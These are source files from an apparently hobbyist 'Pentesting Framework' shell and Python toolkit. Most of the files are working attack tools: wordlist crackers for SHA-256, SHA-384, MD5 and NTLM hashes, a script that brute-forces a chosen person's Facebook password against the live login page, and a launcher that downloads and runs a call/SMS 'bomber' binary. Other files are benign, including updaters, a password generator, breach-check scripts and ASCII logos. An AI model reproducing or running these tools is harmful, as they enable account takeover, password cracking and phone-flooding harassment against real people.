/programs/BRUTE/HASHES/sha256brute.offline.py: -------------------------------------------------------------------------------- 1 | #!/bin/python2 2 | 3 | import hashlib 4 | import time 5 | import sys 6 | import getopt 7 | 8 | sha25_hash = raw_input('\033[4mpsf\033[0m set(\033[91mhash/sha256\033[0m) > ') 9 | pwdfile = raw_input('\033[4mpsf\033[0m use(\033[91mwordlist/path\033[0m) > ') 10 | 11 | try: 12 | pwdfile = open(pwdfile,"r") 13 | except: 14 | print ("\n\033[91m(\033[0m!\033[91m)\033[0m Invalid wordlist path!\033[0m\n") 15 | quit() 16 | counter = 1 17 | for password in pwdfile: 18 | hash_obj = hashlib.sha256(password.strip()) 19 | filesha25 = (hash_obj.hexdigest()) 20 | start = time.time() 21 | print "\033[91mChecking passowrd %d: %s\033[0m" % (counter, password.strip()) 22 | 23 | counter += 1 24 | end = time.time() 25 | t_time = (end - start) 26 | 27 | if sha25_hash == filesha25: 28 | print "\n\033[92mPassword Found :) \nPassword is : %s\033[36m" % password 29 | print "\033[92mTime taken: \033[0m", t_time, "seconds\033[0m" 30 | time.sleep(0.125) 31 | break 32 | else: 33 | print "\n\033[1;32m[\033[1;31m!\033[1;32m]\033[1;31mPassword not Found! :(\033[0m" 34 | -------------------------------------------------------------------------------- /programs/BRUTE/HASHES/sha384brute.offline.py: -------------------------------------------------------------------------------- 1 | #!/bin/python2 2 | 3 | import hashlib 4 | import time 5 | import sys 6 | import getopt 7 | 8 | sha38_hash = raw_input('\033[4mpsf\033[0m set(\033[91mhash/sha384\033[0m) > ') 9 | pwdfile = raw_input('\033[4mpsf\033[0m use(\033[91mwordlist/path\033[0m) > ') 10 | 11 | try: 12 | pwdfile = open(pwdfile,"r") 13 | except: 14 | print ("\n\033[91m(\033[0m!\033[91m)\033[0m Invalid wordlist path!\033[0m\n") 15 | quit() 16 | counter = 1 17 | for password in pwdfile: 18 | hash_obj = hashlib.sha384(password.strip()) 19 | filesha38 = (hash_obj.hexdigest()) 20 | start = time.time() 21 | print "\033[91mChecking passowrd %d: %s\033[0m" % (counter, password.strip()) 22 | 23 | counter += 1 24 | end = time.time() 25 | t_time = (end - start) 26 | 27 | if sha38_hash == filesha38: 28 | print "\n\033[92mPassword Found :) \nPassword is : %s\033[36m" % password 29 | print "\033[92mTime taken: \033[0m", t_time, "seconds\033[0m" 30 | time.sleep(0.125) 31 | break 32 | else: 33 | print "\n\033[1;32m[\033[1;31m!\033[1;32m]\033[1;31mPassword not Found! :(\033[0m" 34 | -------------------------------------------------------------------------------- /programs/BRUTE/HASHES/md5brute.offline.py: -------------------------------------------------------------------------------- 1 | #!/bin/python2 2 | 3 | import md5 4 | import time 5 | import sys 6 | import getopt 7 | 8 | md5_hash = raw_input('\033[4mpsf\033[0m set(\033[91mhash/md5\033[0m) > ') 9 | pwdfile = raw_input('\033[4mpsf\033[0m use(\033[91mwordlist/path\033[0m) > ') 10 | 11 | try: 12 | pwdfile = open(pwdfile,'r') 13 | except: 14 | print ("\n\033[91m(\033[0m!\033[91m)\033[0m Invalid wordlist path!\033[0m\n") 15 | quit() 16 | counter = 1 17 | for password in pwdfile: 18 | # filemd5 = hashlib.new(password.strip()).hexdigest() 19 | filemd5 = md5.new(password.strip()).hexdigest() 20 | start = time.time() 21 | print "\033[91mChecking passowrd %d: %s\033[0m" % (counter, password.strip()) 22 | 23 | counter += 1 24 | end = time.time() 25 | t_time = (end - start) 26 | 27 | if md5_hash == filemd5: 28 | print "\n\033[92mPassword Found :) \nPassword is : %s\033[36m" % password 29 | print "\033[92mTime taken: \033[0m", t_time, "seconds\033[0m" 30 | time.sleep(0.125) 31 | break 32 | else: 33 | print "\n\033[1;32m[\033[1;31m!\033[1;32m]\033[1;31mPassword not Found! :(\033[0m" 34 | 35 | -------------------------------------------------------------------------------- /assets/logos/logo.15: -------------------------------------------------------------------------------- 1 | 2 | SL() { 3 | sleep 0.01 4 | } 5 | 6 | printf "\n{\n";SL 7 | printf " \e[0m\"\e[38;2;224;108;117mname\e[0m\": \e[0m\"\e[38;2;152;195;121mPentesting Framework\e[0m\",\n";SL 8 | printf " \e[0m\"\e[38;2;224;108;117mversion\e[0m\": \e[0m\"\e[38;2;152;195;121m${VAR}\e[0m\",\n";SL 9 | printf " \e[0m\"\e[38;2;224;108;117mbranch\e[0m\": \e[0m\"\e[38;2;152;195;121mmaster\e[0m\",\n";SL 10 | printf " \e[0m\"\e[38;2;224;108;117mauthor\e[0m\": \e[0m\"\e[38;2;152;195;121mAnkush Bhagat\e[0m\",\n\n";SL 11 | 12 | printf " \e[0m\"\e[38;2;224;108;117mlanguages\e[0m\": [\n";SL 13 | printf " \e[0m\"\e[38;2;152;195;121mphp\e[0m\",\n";SL 14 | printf " \e[0m\"\e[38;2;152;195;121mcss\e[0m\",\n";SL 15 | printf " \e[0m\"\e[38;2;152;195;121mhtml\e[0m\",\n";SL 16 | printf " \e[0m\"\e[38;2;152;195;121mbash\e[0m\",\n";SL 17 | printf " \e[0m\"\e[38;2;152;195;121mc/c++\e[0m\",\n";SL 18 | printf " \e[0m\"\e[38;2;152;195;121mpython/2\e[0m\",\n";SL 19 | printf " \e[0m\"\e[38;2;152;195;121mjavascript\e[0m\"\e[0m,\n\n";SL 20 | 21 | printf " \e[0m\"\e[38;2;224;108;117mlicense\e[0m\": \e[0m\"\e[38;2;152;195;121mGPL-3.0 License\e[0m\"\n";SL 22 | printf "\e[0m}\n\n";SL 23 | -------------------------------------------------------------------------------- /assets/programs/update.psf: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | LINK="https://github.com/ankushbhagats/pentesting-framework" 4 | OS=$(uname -o | grep -o "Android") 5 | NAME="pentesting-framework" 6 | 7 | function START() { 8 | echo -e "${C2}(${R0}>${C2})${R0} Updating..." 9 | } 10 | 11 | 12 | function COMPLETE() { 13 | echo -e "${C2}(${R0}>${C2})${R0} Updating compelete." 14 | } 15 | 16 | 17 | function ALREADY() { 18 | echo -e "${C4}(${R0}>${C4})${R0} Installed Files Not Exists 19 | => use -i for install." 20 | } 21 | 22 | function forTermux () { 23 | if [ -d "${presentDIR}" ] 24 | then 25 | cd ${presentDIR} 26 | git stash &> /dev/null 27 | git pull 28 | else 29 | ALREADY 30 | fi 31 | } 32 | 33 | function forLinux () { 34 | if [ -d "${presentDIR}" ] 35 | then 36 | cd ${presentDIR} 37 | git stash &> /dev/null 38 | git pull 39 | else 40 | ALREADY 41 | fi 42 | } 43 | 44 | if [[ $OS == *'Android'* ]];then 45 | 46 | if [[ ! -f "${PREFIX}/etc/psf.conf" ]] 47 | then 48 | presentDIR="" 49 | else 50 | source ${PREFIX}/etc/psf.conf 51 | presentDIR="${installDIR}" 52 | fi 53 | 54 | forTermux 55 | else 56 | 57 | if [[ ! -f "/etc/psf.conf" ]] 58 | then 59 | presentDIR="" 60 | else 61 | source /etc/psf.conf 62 | presentDIR="${installDIR}" 63 | fi 64 | 65 | forLinux 66 | fi 67 | -------------------------------------------------------------------------------- /programs/FIND/PROXY/finder.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 3 | 4 | import time 5 | import itertools 6 | import threading 7 | import sys 8 | 9 | done = False 10 | 11 | def animate(): 12 | for c in itertools.cycle(['|', '/', '-', '\\']): 13 | if done: 14 | break 15 | sys.stdout.write("\r\033[94m(\033[0m>\033[94m)\033[0m Fetching fresh proxies wait till finished " + c) 16 | sys.stdout.flush() 17 | time.sleep(0.1) 18 | sys.stdout.write('') 19 | 20 | t = threading.Thread(target=animate) 21 | t.start() 22 | 23 | 24 | time.sleep(10) 25 | done = True 26 | 27 | print "\n\033[94m(\033[0m>\033[94m)\033[0m We're found Proxies..." 28 | 29 | import requests 30 | from bs4 import BeautifulSoup 31 | 32 | proxyDomain = "https://free-proxy-list.net" 33 | 34 | system = requests.get(proxyDomain) 35 | 36 | mranonymous_systemSoup = BeautifulSoup(system.content,'html.parser') 37 | 38 | sosBlackhats = mranonymous_systemSoup.find('table',{"id" : "proxylisttable"}) 39 | 40 | for row in sosBlackhats.find_all('tr'): 41 | columns = row.find_all('td') 42 | try: 43 | print "\033[92m%s:%s\t%-20s\t%-10s" % (columns[0].get_text(),columns[1].get_text(),columns[3].get_text(),columns[4].get_text()) 44 | except: 45 | pass 46 | 47 | # print "\033[0m" 48 | -------------------------------------------------------------------------------- /assets/programs/remove.psf: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | OS=$(uname -o | grep -o "Android") 4 | NAME="pentesting-framework" 5 | 6 | function START() { 7 | echo "Answer in: Y/n" 8 | printf "[Are you sure want to Remove Pentesting-Framework parmanently this can't be undo]: " 9 | read q 10 | if [[ ${q} == [y/Y] ]] 11 | then 12 | echo -e "${C4}(${R0}>${C4})${R0} Pentesting Framework Removing..." 13 | else 14 | echo "Removing Process declined." 15 | exit 0 16 | fi 17 | } 18 | 19 | 20 | function COMPLETE() { 21 | echo -e "${C4}(${R0}>${C4})${R0} Removing compelete." 22 | } 23 | 24 | 25 | function ALREADY() { 26 | echo -e "${C4}(${R0}>${C4})${R0} Installed Files Not Exists 27 | ${C4}(>)${R0} use -i for install." 28 | } 29 | 30 | function forTermux () { 31 | if [ -d "${presentDIR}" ] 32 | then 33 | START 34 | rm $PREFIX/bin/psfconsole 35 | rm -rf $presentDIR 36 | COMPLETE 37 | else 38 | ALREADY 39 | fi 40 | } 41 | 42 | function forLinux () { 43 | if [ -d "${presentDIR}" ] 44 | then 45 | START 46 | sudo rm /usr/bin/psfconsole 47 | sudo rm -rf $presentDIR 48 | COMPLETE 49 | else 50 | ALREADY 51 | fi 52 | } 53 | 54 | if [[ $OS == *'Android'* ]];then 55 | 56 | if [[ ! -f "${PREFIX}/etc/psf.conf" ]] 57 | then 58 | presentDIR="" 59 | else 60 | source ${PREFIX}/etc/psf.conf 61 | presentDIR="${installDIR}" 62 | fi 63 | 64 | forTermux 65 | else 66 | 67 | if [[ ! -f "/etc/psf.conf" ]] 68 | then 69 | presentDIR="" 70 | else 71 | source /etc/psf.conf 72 | presentDIR="${installDIR}" 73 | fi 74 | 75 | forLinux 76 | fi 77 | -------------------------------------------------------------------------------- /programs/BRUTE/HASHES/ntlm.brute.py: -------------------------------------------------------------------------------- 1 | import hashlib 2 | import os 3 | import random 4 | import binascii 5 | import datetime 6 | starttime = datetime.datetime.now() 7 | def ntlm_attack(filestring): 8 | input2 = raw_input("\033[4mpsf\033[0m set(\033[91mhash/ntlm\033[0m) > ") 9 | 10 | with open(filestring) as file: # Use file to refer to the file object 11 | for i in enumerate(file): 12 | i = i[1].rstrip("\n") 13 | 14 | try: 15 | passhash = hashlib.new('md4', i.encode('utf-16le')).digest() 16 | passhash = binascii.hexlify(passhash) 17 | except UnicodeDecodeError: 18 | print("unicode error found, a character probably isnt english: " + i) 19 | 20 | if(str(passhash).upper() == input2.upper()): 21 | pwdfile = open(filepath,'r') 22 | for passowrd in pwdfile: 23 | print "\033[91mChecking passowrd: %s\033[0m" % (passowrd.strip()) 24 | print("\033[92mPassword found! Password is:\033[0m " + i) 25 | file.close() 26 | break 27 | # else: 28 | # print "Password not found!" 29 | file.close() 30 | endtime = datetime.datetime.now() 31 | timedifference = endtime-starttime; 32 | a = divmod(timedifference.days * 86400 + timedifference.seconds, 60) 33 | # print str(a[0])+":"+str(a[1]) 34 | filepath = raw_input("\033[4mpsf\033[0m set(\033[91mwordlist/path\033[0m) > ") 35 | ntlm_attack(filepath) 36 | -------------------------------------------------------------------------------- /programs/BOMBER/run: -------------------------------------------------------------------------------- 1 | #!/usr/bin/bash 2 | 3 | if [[ ${input} == "1" ]] 4 | then 5 | input="" 6 | case $(dpkg --print-architecture) in 7 | aarch64) 8 | if [[ ! $__return__ == 105 ]];then 9 | $CWD/programs/BOMBER/CALLNSMS/callnsms.aarch64 10 | else 11 | cd $TMPDIR || exit 1 12 | curl -sLO ${RAWLINK}/programs/BOMBER/CALLNSMS/callnsms.aarch64 | 13 | printf "${b0SIGN} Downloading Program... \r" 14 | chmod +x callnsms.aarch64 15 | ./callnsms.aarch64 16 | fi 17 | ;; 18 | arm*) 19 | findOS=$(setOS 'arm' 'arm64') 20 | findOS=$(printf ${findOS[@]}) 21 | if [[ ! $__return__ == 105 ]];then 22 | $CWD/programs/BOMBER/CALLNSMS/callnsms.$findOS 23 | else 24 | cd $TMPDIR || exit 1 25 | curl -sLO ${RAWLINK}/programs/BOMBER/CALLNSMS/callnsms.$findOS | 26 | printf "${b0SIGN} Downloading Program... \r" 27 | chmod +x callnsms.$findOS 28 | ./callnsms.$findOS 29 | fi 30 | ;; 31 | amd*) 32 | if [[ ! $__return__ == 105 ]];then 33 | $CWD/programs/BOMBER/CALLNSMS/callnsms.amd64 34 | else 35 | cd $TMPDIR 36 | curl -sLO ${RAWLINK}/programs/BOMBER/CALLNSMS/callnsms.amd64 | 37 | printf "${b0SIGN} Downloading Program... \r" 38 | chmod +x callnsms.amd64 39 | ./callnsms.amd64 40 | fi 41 | ;; 42 | esac 43 | 44 | elif [[ ${input} == "2" ]] 45 | then 46 | bash $CWD/programs/BOMBER/SMS/sms 47 | fi 48 | theERROR 49 | extarnalCMD 50 | -------------------------------------------------------------------------------- /assets/logos/logo.11: -------------------------------------------------------------------------------- 1 | 2 | SL() { 3 | sleep 0.01 4 | } 5 | 6 | 7 | printf "\e[0m\e[0m ______________________ \e[0m\n";SL 8 | printf "\e[92m<\e[0m System Is Not Safe !\e[92m />\e[0m\n";SL 9 | printf "\e[0m ---------------------- \e[0m\e[00m\n";SL 10 | printf "\e[0m \e[0m\n";SL 11 | printf "\e[0m \e[38;5;160;48;5;160m████\e[0m \e[38;5;160;48;5;160m████\e[0m \e[0m\n";SL 12 | printf "\e[0m \e[38;5;160;48;5;160m███\e[48;5;196m▀\e[0m \e[38;5;160;48;5;160m███\e[48;5;196m▀\e[0m \e[0m\n";SL 13 | printf "\e[0m \e[38;5;223;48;5;223m█\e[38;5;203;48;5;203m▄▄▄\e[38;5;209;48;5;209m \e[38;5;203;48;5;203m █▄▄\e[48;5;209m▄\e[48;5;203m \e[48;5;209m▀\e[48;5;203m▄▄▄\e[38;5;224;48;5;224m█\e[0m \e[0m\n";SL 14 | printf "\e[0m \e[38;5;223;48;5;223m█\e[38;5;203;48;5;203m███\e[38;5;209;48;5;209m \e[38;5;203;48;5;203m ████ \e[38;5;209;48;5;209m \e[38;5;203;48;5;203m██\e[38;5;209;48;5;209m \e[38;5;224;48;5;224m█\e[0m \e[0m\n";SL 15 | printf "\e[0m \e[38;5;160;48;5;160m████\e[38;5;203;48;5;203m \e[38;5;160;48;5;160m████\e[0m \e[0m\n";SL 16 | printf "\e[0m \e[38;5;160;48;5;160m████\e[38;5;203;48;5;203m \e[38;5;160;48;5;160m████\e[0m \e[0m\n";SL 17 | printf "\e[0m \e[48;5;203m\e[38;5;231m▄▄▄▄\e[38;5;160m▄▄▄▄\e[38;5;231m▄▄▄▄\e[0m \e[0m\n";SL 18 | printf "\e[0m \e[38;5;160;48;5;160m████\e[0m \e[0m\n";SL 19 | printf "\e[0m \e[0m\n";SL 20 | -------------------------------------------------------------------------------- /programs/SECURE/PASSWD/passwd: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | read -r -p $'\e[4mpsf\e[0m set(\e[91mpasswd/amount\e[0m) > ' amount 4 | 5 | level() { 6 | if [[ $input == 1 ]] 7 | then 8 | cat /dev/urandom | tr -dc '0-9' | fold -w ${1:-} | head -n 1 9 | 10 | elif [[ $input == 2 ]] 11 | then 12 | cat /dev/urandom | tr -dc 'a-zA-Z' | fold -w ${1:-} | head -n 1 13 | 14 | elif [[ $input == 3 ]] 15 | then 16 | cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w ${1:-} | head -n 1 17 | 18 | elif [[ $input == 4 ]] 19 | then 20 | cat /dev/urandom | tr -dc '@#$_&-+`*"%/\(){}[]<>:;!?.,' | fold -w ${1:-} | head -n 1 21 | 22 | elif [[ $input == 5 ]] 23 | then 24 | cat /dev/urandom | tr -dc 'a-zA-Z@#$_&-+`*"%/\(){}[]<>:;!?.,' | fold -w ${1:-} | head -n 1 25 | 26 | elif [[ $input == 6 ]] 27 | then 28 | cat /dev/urandom | tr -dc '0-9@#$_&-+`*"%/\(){}[]<>:;!?.,' | fold -w ${1:-} | head -n 1 29 | 30 | elif [[ $input == 7 ]] 31 | then 32 | cat /dev/urandom | tr -dc 'a-zA-Z0-9@#$_&-+`*"%/\(){}[]<>:;!?.,' | fold -w ${1:-} | head -n 1 33 | fi 34 | } 35 | 36 | if [[ ${amount} =~ ^-?[0-9]*[.,]?[0-9]*[eE]?-?[0-9]+$ ]] 37 | then 38 | if [[ ${#amount} -gt 0 ]] 39 | then 40 | if [[ ${#amount} -lt 3 ]] 41 | then 42 | if [[ ${amount} -ge 6 ]] 43 | then 44 | printf "${g0SIGN} " 45 | level $amount 46 | else 47 | echo -e "${g0SIGN} Amount must be ${C1}${amount}${R0} =< ${C2}6${R0}" 48 | fi 49 | else 50 | echo -e "${g0SIGN} Amount must be ${C1}${amount}${R0} =< ${C2}99${R0}" 51 | fi 52 | else 53 | echo -e "${g0SIGN} Amount must be ${C1}0${R0} =< ${C2}1${R0}" 54 | fi 55 | else 56 | echo -e "${r0SIGN} Input must be a integer or number." 57 | fi 58 | -------------------------------------------------------------------------------- /programs/BRUTE/SOCIAL/facebook.py: -------------------------------------------------------------------------------- 1 | import requests 2 | import threading 3 | # import urllib.request 4 | # import os 5 | from bs4 import BeautifulSoup 6 | import sys 7 | 8 | if sys.version_info[0] !=3: 9 | print('''-------------------------------------- 10 | REQUIRED PYTHON 3.x 11 | use: python3 fb.py 12 | -------------------------------------- 13 | ''') 14 | sys.exit() 15 | 16 | post_url='https://www.facebook.com/login.php' 17 | headers = { 18 | 'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36', 19 | } 20 | payload={} 21 | cookie={} 22 | 23 | def create_form(): 24 | form=dict() 25 | cookie={'fr':'0ZvhC3YwYm63ZZat1..Ba0Ipu.Io.AAA.0.0.Ba0Ipu.AWUPqDLy'} 26 | 27 | data=requests.get(post_url,headers=headers) 28 | for i in data.cookies: 29 | cookie[i.name]=i.value 30 | data=BeautifulSoup(data.text,'html.parser').form 31 | if data.input['name']=='lsd': 32 | form['lsd']=data.input['value'] 33 | return (form,cookie) 34 | 35 | def function(email,passw,i): 36 | global payload,cookie 37 | if i%10==1: 38 | payload,cookie=create_form() 39 | payload['email']=email 40 | payload['pass']=passw 41 | r=requests.post(post_url,data=payload,cookies=cookie,headers=headers) 42 | if 'Find Friends' in r.text or 'security code' in r.text or 'Two-factor authentication' in r.text: 43 | open('temp','w').write(str(r.content)) 44 | print("\n\033[92m(\033[0m>\033[92m)\033[0m Password is : ",passw) 45 | return True 46 | return False 47 | 48 | email=input("\033[4mpsf\033[0m set(\033[91mbrute/username\033[0m) > ") 49 | passlist = input ("\033[4mpsf\033[0m set(\033[91mbrute/passwd/dir\033[0m) > ") 50 | file=open(passlist,'r') 51 | 52 | print("\nTarget Username/Email Id: ",email) 53 | print("\nTrying Password list from:", passlist) 54 | 55 | i=0 56 | while file: 57 | passw=file.readline().strip() 58 | i+=1 59 | if len(passw) < 6: 60 | continue 61 | print(str(i) +" : ",passw) 62 | if function(email,passw,i): 63 | break 64 | -------------------------------------------------------------------------------- /programs/SCAN/PWNED/pwned.py: -------------------------------------------------------------------------------- 1 | from datetime import datetime 2 | from json2html import * 3 | from bs4 import BeautifulSoup as BS 4 | from urllib.request import Request, urlopen 5 | import urllib.request 6 | import json 7 | import os 8 | 9 | # if password_choice == str("y") or password_choice == str("Y"): 10 | 11 | 12 | cwd = os.getcwd() 13 | now = datetime.now() 14 | current_time = str(now.strftime("%Y-%m-%d-%H-%M-%S")) 15 | 16 | hdr = { 17 | 'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36', 18 | 'Accept-Language': 'en-US,en;q=0.8' 19 | } 20 | 21 | 22 | input=input("\033[4mpsf\033[0m check(\033[91mpwned/input\033[0m) > ") 23 | req = urllib.request.Request( 24 | 'https://haveibeenpwned.com/unifiedsearch/' + input, 25 | headers=hdr 26 | ) 27 | 28 | 29 | try: 30 | with urllib.request.urlopen(req) as resp: 31 | print("\n \033[91mOh no — pwned!\033[0m\nFounded data breach for your entered input") 32 | print("Saving all available data wait...") 33 | json = json.loads(resp.read().decode("utf-8")) 34 | #print(data) #print the result found 35 | #the_page = resp.code #remove # if you want to print the http status code 36 | #print(the_page) #remove # if you want to print the http status code 37 | html=(json2html.convert(json=json)) 38 | print("\n\033[92m(\033[0m>\033[92m)\033[0m All founded data breached details are saved as "+ input + ".json to", cwd) 39 | print("\033[92m(\033[0m>\033[92m)\033[0m All founded data breached details are saved as "+ input + ".html to", cwd) 40 | saveFile = open(input + '.json', 'w') 41 | saveFile.write(str(json)) 42 | saveFile.close() 43 | saveFile = open(input + '.html', 'w') 44 | saveFile.write(str(html)) 45 | saveFile.close() 46 | 47 | 48 | 49 | except Exception as e: 50 | pass 51 | print("\n\033[92mGood news — no pwnage found!\033[0m\n No breached data") 52 | print("\nScanning finished.") 53 | 54 | -------------------------------------------------------------------------------- /assets/login/login.conf: -------------------------------------------------------------------------------- 1 | #!/usr/bin/bash 2 | 3 | if [[ $(uname -o) == *"Android"* ]] 4 | then 5 | : 6 | else 7 | TMPDIR=/tmp 8 | fi 9 | 10 | login.conf() 11 | { 12 | if [[ -f $CWD/login.conf ]] 13 | then 14 | assets/login/login.$ARCH -token.login 15 | logininfo=$(cat $TMPDIR/login.log) 16 | if [[ ! ${NET} == "off" ]] 17 | then 18 | USER=$(cat $TMPDIR/user.psf) 19 | fi 20 | else 21 | echo -e "Register or Login to access Pentesting-Framework." 22 | echo -e "for register :: ${C2}psfconsole -register${R0}" 23 | echo -e "for login :: ${C2}psfconsole -login${R0}" 24 | exit 1 25 | fi 26 | 27 | if [[ ${logininfo} == "failed" ]] 28 | then 29 | echo -e "User account token not verified from ${C3}${CWD}/login.conf${R0}" 30 | psfconsole -login 31 | exit 0 32 | elif [[ ${logininfo} == "noexist" ]] 33 | then 34 | echo -e "User account not found, Register to Pentesting-Framework." 35 | psfconsole -register 36 | exit 0 37 | fi 38 | } 39 | 40 | login.success() 41 | { 42 | if [[ ${logininfo} == "success" ]] 43 | then 44 | echo -e "$1" 45 | fi 46 | } 47 | 48 | blockWALL() 49 | { 50 | qTEXT=$(cat $TMPDIR/login.log) 51 | if [[ ${qTEXT} == *"blocked"* ]] 52 | then 53 | echo "${qTEXT}" 54 | exit 1 55 | fi 56 | } 57 | 58 | dev.conf() 59 | { 60 | (cat ${CWD}/login.conf > $TMPDIR/.cache.psf) &> /dev/null 61 | OTLOGIN=$(cat $TMPDIR/.cache.psf | jq .credential.token -M -r) 62 | if [[ ${#OTLOGIN} -lt 1 ]] 63 | then 64 | echo "Make sure you're ${C2}login${R0} with psf account to use this feature." 65 | exit 1 66 | else 67 | if [[ ! -f $CWD/assets/login/login.sha256sum ]] 68 | then 69 | sha256sum ${CWD}/login.conf > ${CWD}/assets/login/login.sha256sum 70 | fi 71 | cd ${CWD} 72 | sha256sum -c ${CWD}/assets/login/login.sha256sum &> /dev/null 73 | if [[ $? -gt 0 ]] 74 | then 75 | echo -e "Login configuration file changed login again." 76 | rm ${CWD}/assets/login/login.sha256sum &> /dev/null 77 | rm ${CWD}/login.conf &> /dev/null 78 | login.conf 79 | exit 1 80 | fi 81 | fi 82 | } 83 | -------------------------------------------------------------------------------- /programs/SCAN/PWNED/pwnpasswd.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | 3 | import hashlib 4 | import requests 5 | import argparse 6 | import re 7 | 8 | def checkfor(x): 9 | 10 | SHA1 = hashlib.sha1(x.encode('utf-8')) 11 | hash_string = SHA1.hexdigest().upper() 12 | prefix = hash_string[0:5] 13 | 14 | header = { 15 | 'User-Agent': 'password checker' 16 | } 17 | 18 | url = "https://api.pwnedpasswords.com/range/{}".format(prefix) 19 | 20 | req = requests.get(url, headers=header).content.decode('utf-8') 21 | # split the result twice - each line into key, value pairs of hash-postfixes and the usage count. 22 | hashes = dict(t.split(":") for t in req.split('\r\n')) 23 | 24 | # add the prefix to the key values (hashes) of the hashes dictionary 25 | hashes = dict((prefix + key, value) for (key, value) in hashes.items()) 26 | 27 | for item_hash in hashes: 28 | if item_hash == hash_string: 29 | print("\nOh no — pwned!") 30 | print("{} has previously appeared in a data breach, used {} times, and should never be used. ".format(x,hashes[hash_string])) 31 | break 32 | 33 | if hash_string != item_hash: 34 | print("\nGood news — no pwnage found!") 35 | print("{} wasn't found in any of the Pwned Passwords loaded into Have I Been Pwned.".format(x)) 36 | 37 | exit() 38 | 39 | ''' 40 | parser = argparse.ArgumentParser() 41 | parser.add_argument("-p", "--password", help="enter your password") 42 | args = parser.parse_args() 43 | 44 | argv = vars(args) 45 | x = argv['passwd'] 46 | ''' 47 | 48 | passwd = str(input("\033[4mpsf\033[0m check(\033[91mpwned/passwd\033[0m) > ")) 49 | 50 | # if passwd: -__- 51 | 52 | if str(passwd): 53 | checkfor(passwd) 54 | else: 55 | print ("\033[91m(\033[0m!\033[91m)\033[0m Input was empty.\033[0m\n") 56 | exit(1) 57 | 58 | 59 | ''' 60 | -References- 61 | https://haveibeenpwned.com/API/v3#PwnedPasswords 62 | https://www.troyhunt.com/ive-just-launched-pwned-passwords-version-2/ 63 | 64 | ''' 65 | -------------------------------------------------------------------------------- /assets/logos/logo.10: -------------------------------------------------------------------------------- 1 | 2 | SL() { 3 | sleep 0.01 4 | } 5 | 6 | 7 | printf "\e[0m\e[0m __________________________ \e[0m\n";SL 8 | printf "\e[92m<\e[0m Control Is An Illusion !\e[92m />\e[0m\n";SL 9 | printf "\e[0m -------------------------- \e[0m\e[00m\n";SL 10 | printf "\e[0m \e[0m\n";SL 11 | printf "\e[0m \e[0m\n";SL 12 | printf "\e[0m \e[38;5;37m▄\e[38;5;38;48;5;24m▄\e[38;5;44;48;5;44m \e[38;5;38;48;5;38m \e[38;5;44;48;5;44m \e[38;5;16m▀\e[48;5;23m▀\e[0m \e[0m\n";SL 13 | printf "\e[0m \e[38;5;38m▄\e[38;5;44;48;5;44m \e[38;5;38;48;5;233m▀\e[38;5;17;48;5;17m \e[0m \e[38;5;44;48;5;44m \e[0m \e[38;5;16;48;5;23m▄\e[38;5;44;48;5;233m▀\e[48;5;44m \e[38;5;16;48;5;30m▀\e[0m \e[0m\n";SL 14 | printf "\e[0m \e[38;5;38;48;5;38m \e[0m \e[38;5;44;48;5;44m \e[0m \e[38;5;44;48;5;44m \e[0m \e[0m\n";SL 15 | printf "\e[0m \e[38;5;38;48;5;38m \e[0m \e[38;5;38;48;5;38m \e[38;5;44;48;5;44m \e[0m \e[38;5;44;48;5;44m \e[0m \e[0m\n";SL 16 | printf "\e[0m \e[38;5;38;48;5;38m \e[0m \e[38;5;38;48;5;38m \e[48;5;31m▄\e[48;5;38m \e[38;5;44;48;5;44m \e[0m \e[0m\n";SL 17 | printf "\e[0m \e[38;5;39;48;5;39m \e[0m \e[38;5;38;48;5;38m \e[48;5;17m▀\e[38;5;30;48;5;233m▀\e[0m \e[38;5;44;48;5;44m \e[0m \e[0m\n";SL 18 | printf "\e[0m \e[38;5;39;48;5;39m \e[0m \e[38;5;39;48;5;39m \e[38;5;38;48;5;38m \e[0m \e[38;5;44;48;5;44m \e[0m \e[0m\n";SL 19 | printf "\e[0m \e[38;5;38;48;5;17m▀\e[38;5;39;48;5;39m \e[38;5;38;48;5;233m▄\e[38;5;24m▄\e[0m \e[38;5;39;48;5;39m \e[38;5;38;48;5;38m \e[0m \e[38;5;44;48;5;44m \e[0m \e[0m\n";SL 20 | printf "\e[0m \e[38;5;16;48;5;24m▄\e[48;5;39m▄\e[38;5;39m \e[38;5;38;48;5;38m ▀\e[0m \e[38;5;44;48;5;44m \e[0m \e[0m\n";SL 21 | printf "\e[0m \e[0m\n\n";SL 22 | -------------------------------------------------------------------------------- /assets/programs/colors.psf: -------------------------------------------------------------------------------- 1 | #!/usr/bin/bash 2 | 3 | color_mode() 4 | { 5 | if [[ ${1} == "1" ]] 6 | then 7 | B0="$(printf '\033[100m')" 8 | B1="$(printf '\033[101m')" 9 | B2="$(printf '\033[102m')" 10 | B3="$(printf '\033[103m')" 11 | B4="$(printf '\033[104m')" 12 | B5="$(printf '\033[105m')" 13 | B6="$(printf '\033[106m')" 14 | B7="$(printf '\033[107m')" 15 | R0="$(printf '\033[00m')" 16 | 17 | C0="$(printf '\033[90m')" 18 | C1="$(printf '\033[91m')" 19 | C2="$(printf '\033[92m')" 20 | C3="$(printf '\033[93m')" 21 | C4="$(printf '\033[94m')" 22 | C5="$(printf '\033[95m')" 23 | C6="$(printf '\033[96m')" 24 | C7="$(printf '\033[97m')" 25 | 26 | color_name=$(printf "${C1}d${C2}e${C3}f${4}a${5}u${C6}l${C7}t") 27 | 28 | elif [[ ${1} == "2" ]] 29 | then 30 | B0="$(printf '\033[100m')" 31 | B1="$(printf '\033[101m')" 32 | B2="$(printf '\033[102m')" 33 | B3="$(printf '\033[103m')" 34 | B4="$(printf '\033[104m')" 35 | B5="$(printf '\033[105m')" 36 | B6="$(printf '\033[106m')" 37 | B7="$(printf '\033[107m')" 38 | R0="$(printf '\033[00m')" 39 | 40 | C0="$(printf '\033[38;2;0;200;118m')" 41 | C1="$(printf '\033[38;2;0;200;118m')" 42 | C2="$(printf '\033[38;2;0;200;118m')" 43 | C3="$(printf 